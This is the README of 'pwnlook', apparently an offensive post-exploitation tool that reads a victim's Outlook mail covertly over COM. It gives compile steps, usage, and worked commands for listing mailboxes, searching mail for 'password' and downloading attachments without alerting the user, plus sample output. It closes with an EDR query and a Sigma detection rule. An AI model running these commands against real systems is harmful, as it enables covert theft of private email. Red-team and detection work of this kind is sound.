pwnlook

Pwnlook is an offensive postexploitation tool that will give you complete control over the Outlook desktop application and therefore to the emails configured in it. What it does:

• List mailboxes
• List folders
• Gather emails information
• Read email
• Search by recipient or subject
• Download attachments

It's possible to do almost everything that Outlook can do: send emails, create forward rules, list contacts... But all this is out of the scope of this project. At the end of the this README you will find some detection techniques.

Pwnlook is written in .NET 4.8.1

Compile

To compile it you need first to register both DLLs. This is only for compilation, there is no need to register the DLL where you execute it:

regsvr32.exe .\Redemption.dll
regsvr32.exe .\Redemption64.dll

You can unregister them later:

regsvr32.exe -u .\Redemption.dll
regsvr32.exe -u .\Redemption64.dll

Open the .sln with Visual Studio and compile it.

Then use ILMerge to create a single binary:

.\ILMerge.exe /target:pwnlook481.exe /out:pwnlook.exe pwnlook481.exe Newtonsoft.Json.dll

How it works

pwnlook communicates with Outlook via COM. By using the Redemption library it can gather all kind of information without triggering any alert to the user, even if you read an unread email the email will keep as unread for the user.

The tool comes with some limitations that are related with the, most likely, possibility of dealing with very big OST files. Thats why, for example, I didn't implement an option to "list all emails".

The Redemption64.dll must be in the same path as the pwnlook.exe. There is no need to register the DLL (Registry free COM) so you can run it on behalf of any user, even if it isn't Local Admin.

.\pwnlook.exe --help


                    .__                 __
________  _  ______ |  |   ____   ____ |  | __
\____ \ \/ \/ /    \|  |  /  _ \ /  _ \|  |/ /
|  |_> >     /   |  \  |_(  <_> |  <_> )    <
|   __/ \/\_/|___|  /____/\____/ \____/|__|_ \
|__|              \/                        \/


Usage: pwnlook.exe [options]

List mailboxes:
  -listmailboxes

List folders:
  -mailbox <mailbox> -listfolders

List emails from date:
  -mailbox <mailbox> -folder <Folder\Path> -date <yyyy-MM-dd>

List latest X emails from folder:
  -mailbox <mailbox> -folder <Folder\Path> -latest <X>

Read email:
  -mailbox <mailbox> -folder <Folder\Path> -id <ID>

Download attachment (base64):
  -mailbox <mailbox> -folder <Folder\Path> -id <ID> -attachment <X>

Search by sender or subject:
  -mailbox <mailbox> -folder <Folder\Path> -search <sender|subject> -value <string>

Result format in JSON
  -json

Examples:
.\pwnlook.exe -mailbox my@mail.com -folder "Inbox" -latest 20 -json        Lists latest 20 emails from Inbox

List Mailboxes

First you must list the existing mailboxes .\pwnlook.exe -listmailboxes:

Available Mailboxes:
    - [email protected]
    - [email protected]

List existing folders

.\pwnlook.exe -mailbox "[email protected]" -listfolders

IPM_SUBTREE
    Trash
    Inbox
        test1
    Outbox
    Sent
    Calendar (This computer only)
    Contacts (This computer only)
    Journal (This computer only)
    Notes (This computer only)
    Tasks (This computer only)
    Drafts
    RSS Feeds
    Conversation Action Settings (This computer only)
    Quick Step Settings (This computer only)
    Sync Issues (This computer only)
        Local Failures (This computer only)
    Junk
    Archive
    test2

Examples

List latest 3 emails from test1 folder

.\pwnlook.exe -mailbox "[email protected]" -folder "Inbox\test1" -latest 3 -json

Output example in JSON:

  {
    "Sender": "[email protected]",
    "Recipients": "[email protected]",
    "Subject": "Email1",
    "Body": null,
    "Attachments": [],
    "Date": "2024-08-21",
    "Folder": "test1",
    "ID": "0000000057C2BFB33842564EBEE8060D4BBE7C4A0700FCDA005631565E4A933C1CF9DF307DD500000000000F0000D9539C2261A6BB45B9DAB62C7081B3C101000D0000000000"
  }

List emails from date

.\pwnlook.exe -mailbox [email protected] -folder "Inbox" -date "2024-08-12" -json

Search email

.\pwnlook.exe -mailbox [email protected] -folder "Inbox" -search "sender" -value "boss" -json

.\pwnlook.exe -mailbox [email protected] -folder "Inbox" -search "subjet" -value "password" -json

Read email

Use the ID to read the email:

.\pwnlook.exe -mailbox [email protected] -folder "test2" -read "0000000057C2BFB33842564EBEE8060D4BBE7C4A0700FCDA005631565E4A933C1CF9DF307DD50000000000110000FCDA005631565E4A933C1CF9DF307DD50000000016000000" -json

{
  "Sender": "[email protected]",
  "Recipients": "[email protected]",
  "Subject": "Re: testeando",
  "Body": "Ok a todo\r\n\r\n\r\nEl 12 de agosto de 2024 11:30:25 CEST, [email protected] escribió:\r\n\r\n\temail de prueba\r\n\r\n",
  "Attachments": [
    "Senior Security Analyst - Job Description.pdf"
  ],
  "Date": "2024-08-12",
  "Folder": "test2",
  "ID": "0000000057C2BFB33842564EBEE8060D4BBE7C4A0700FCDA005631565E4A933C1CF9DF307DD50000000000110000FCDA005631565E4A933C1CF9DF307DD50000000016000000"
}

Download attachment

.\pwnlook.exe -mailbox [email protected] -folder "test2" -read "0000000057C2BFB33842564EBEE8060D4BBE7C4A0700FCDA005631565E4A933C1CF9DF307DD50000000000110000FCDA005631565E4A933C1CF9DF307DD50000000016000000" -attachment 0 > base64.txt

The attachment is encoded in base64, you can dump it as a file with Powershell like:

[System.IO.File]::WriteAllBytes("outputFile.pdf", [System.Convert]::FromBase64String([System.IO.File]::ReadAllText("base64.txt")))

Detect

In your EDR you can search for unsigned processes accessing OST files.

In Cortex XDR would be like:

config case_sensitive = false
| preset = xdr_file 
| filter event_sub_type = ENUM.FILE_OPEN 
| filter action_file_path ~= "C:\\Users\\.*\\AppData\\Local\\Microsoft\\Outlook\\.*\.ost$" and actor_process_signature_status = UNSIGNED
| fields _time, agent_hostname , actor_effective_username , action_file_path, actor_process_image_name , actor_process_command_line, actor_process_image_sha256  , actor_process_signature_status , actor_process_signature_vendor 

Sigma rule:

title: Access to OST files from uncommon process
id: 0ea56b07-0bc6-4c8b-8b8a-e32de0557a5e
status: experimental
description: |
    Detects malicious software reading emails directly from OST files.
references:
    - https://github.com/amjcyb/pwnlook
author: amjcyb
date: 2024-09-10
tags:
    - attack.collection
    - attack.t1114.001
logsource:
    category: file_access
    product: windows
    definition: 'Requirements: Microsoft-Windows-Kernel-File ETW provider'
detection:
    selection:
        FileName|endswith: '.ost'
        FileName|contains:
            - 'AppData\Local\Microsoft\Outlook'
    filter_system_folders:
        Image|startswith:
            - 'C:\Program Files\'
            - 'C:\Program Files (x86)\'
            - 'C:\Windows\system32\'
            - 'C:\Windows\SysWOW64\'
    condition: selection and not 1 of filter_*
falsepositives:
    - Other email software
level: high